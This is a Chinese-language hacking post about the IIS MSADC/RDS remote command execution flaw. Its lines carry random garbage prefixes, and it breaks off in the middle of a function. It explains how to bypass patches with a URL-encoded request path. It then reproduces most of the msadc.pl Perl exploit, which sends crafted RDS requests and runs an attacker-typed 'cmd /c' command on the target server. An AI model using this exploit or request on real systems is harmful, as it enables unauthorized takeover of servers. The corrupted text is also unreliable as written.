IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
OlYCw.Zu rh(77x1|(G 涉及程序:
ZRoOdo94 Microsoft NT server
AW`+lE'? 1;[ZkRbzL 描述:
u-~?ylh 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
J<7nOB}OD
xXZ{ 详细:
I~7eu&QZ 如果你没有时间读详细内容的话,就删除:
B_|jDH#RyJ c:\Program Files\Common Files\System\Msadc\msadcs.dll
irzWk3@: 有关的安全问题就没有了。
o!|TCwt ,"4 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
b/'RJQSAc q,_ 1?A) 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
/%h<^YDBf 关于利用ODBC远程漏洞的描述,请参看:
ITEd[
@^d :8Jn?E (36 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm }G[Qm2k 7_AcvsdW 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
~ny4Ay$# http://www.microsoft.com/security/bulletins/MS99-025faq.asp EX,)MU HVcd< :g0 这里不再论述。
[d,")Ng E.OL_ \ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
$ ~2qEe.h ai(J%"D" /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
_#6ekl|% 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
{t<U:*n2 `$N AK _l!TcH+e #将下面这段保存为txt文件,然后: "perl -x 文件名"
+;wu_CQu /YH5s= #!perl
ih/MW_t=m= #
=lqGt.x # MSADC/RDS 'usage' (aka exploit) script
j`kw2( #
L;k9}HWpP # by rain.forest.puppy
06S-3bis #
`SO"F, # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
E;^~} # beta test and find errors!
&+V|L dh /I3>u use Socket; use Getopt::Std;
Q[N6# C:(4 getopts("e:vd:h:XR", \%args);
7tr;adjs c_^-`7g print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Y;WHjW(K O(oGRK<xM if (!defined $args{h} && !defined $args{R}) {
~Fd<d[b? print qq~
4zM$I Usage: msadc.pl -h <host> { -d <delay> -X -v }
?Wm.'S'to -h <host> = host you want to scan (ip or domain)
C@L8,Kj ~. -d <seconds> = delay between calls, default 1 second
GT} =(sD L -X = dump Index Server path table, if available
X(ZouyD< -v = verbose
N!&$fhY) -e = external dictionary file for step 5
[]rg'9B2b 6P KH% Or a -R will resume a command session
4RV5:&ALLS U[UjL)U ~; exit;}
!mLYW
Q>}*l|Ci $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
I`e|[k2 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
[#emm1k if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
3<nd;@:- if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
%}asw/WiUa $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
O7z-4r if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
U`fxe`nVa 2_]"9d4 if (!defined $args{R}){ $ret = &has_msadc;
XVKR}I die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
2nGQD{ %l7|+%M.{ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
n/fMq,<8 . "cmd /c ";
%2)'dtPD~ $in=<STDIN>; chomp $in;
lC ^NhQi $command="cmd /c " . $in ;
J9
iQ W #{8n<sE if (defined $args{R}) {&load; exit;}
EJrn4QOs J`8bh~7 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
vpGeG &try_btcustmr;
LL1HDG>l T>ds<MaLP print "\nStep 2: Trying to make our own DSN...";
>1=sw
qa &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
F(i@Gm=J] Htf|VpzMb print "\nStep 3: Trying known DSNs...";
j7|r^ &known_dsn;
;nbUbRb P]4C/UDS-~ print "\nStep 4: Trying known .mdbs...";
BtN@P23>k. &known_mdb;
/M;A)z MR@*09zP(? if (defined $args{e}){
{-(B print "\nStep 5: Trying dictionary of DSN names...";
=gb.%a{R &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
p Rn vd| pZ,P_? print "Sorry Charley...maybe next time?\n";
*hp3w exit;
W:^\Oe5&a PKhH0O\_U ##############################################################################
jz_\B(m9% mG!Rh sub sendraw { # ripped and modded from whisker
$DOBC@xxzT sleep($delay); # it's a DoS on the server! At least on mine...
[C]u!\(IF my ($pstr)=@_;
9oL/oL-J/ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
H"H&uA9" die("Socket problems\n");
)h0F'MzW if(connect(S,pack "SnA4x8",2,80,$target)){
pbe"
w=< select(S); $|=1;
'W/E*O6BY print $pstr; my @in=<S>;
I-Ya#s#m select(STDOUT); close(S);
lth t'| return @in;
Vb`m3 } else { die("Can't connect...\n"); }}
a~_5N&~pi OA??fb,b ##############################################################################
BiQ7r=Dd. !dVth)UV sub make_header { # make the HTTP request
9I:H=5c my $msadc=<<EOT
!`yg bI. POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
3rEBG0cf] User-Agent: ACTIVEDATA
:6 ?&L Host: $ip
e{~s\G8g Content-Length: $clen
|.x |BJ Connection: Keep-Alive
.r/6BDE" Azun"F_f ADCClientVersion:01.06
C~.7m-YW Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
AKVll gu[3L --!ADM!ROX!YOUR!WORLD!
h^h!OQK Q Content-Type: application/x-varg
cCd2f>EHw Content-Length: $reqlen
);*A$C9RA E }aTH EOT
821@qr|`e ; $msadc=~s/\n/\r\n/g;
Y!C=0&p return $msadc;}
`gIlS^Q -t, .A/? ##############################################################################
"Ldi<xq%xl }\E2Z[ sub make_req { # make the RDS request
smLXNO my ($switch, $p1, $p2)=@_;
YPraf$ my $req=""; my $t1, $t2, $query, $dsn;
+SGM3tY 85P7I=`*d if ($switch==1){ # this is the btcustmr.mdb query
G'/36M@ $query="Select * from Customers where City=" . make_shell();
!A(*?0` $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
;Zb+WGyj $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
IiG~l+V~ jrGVC2*rD elsif ($switch==2){ # this is general make table query
)E<<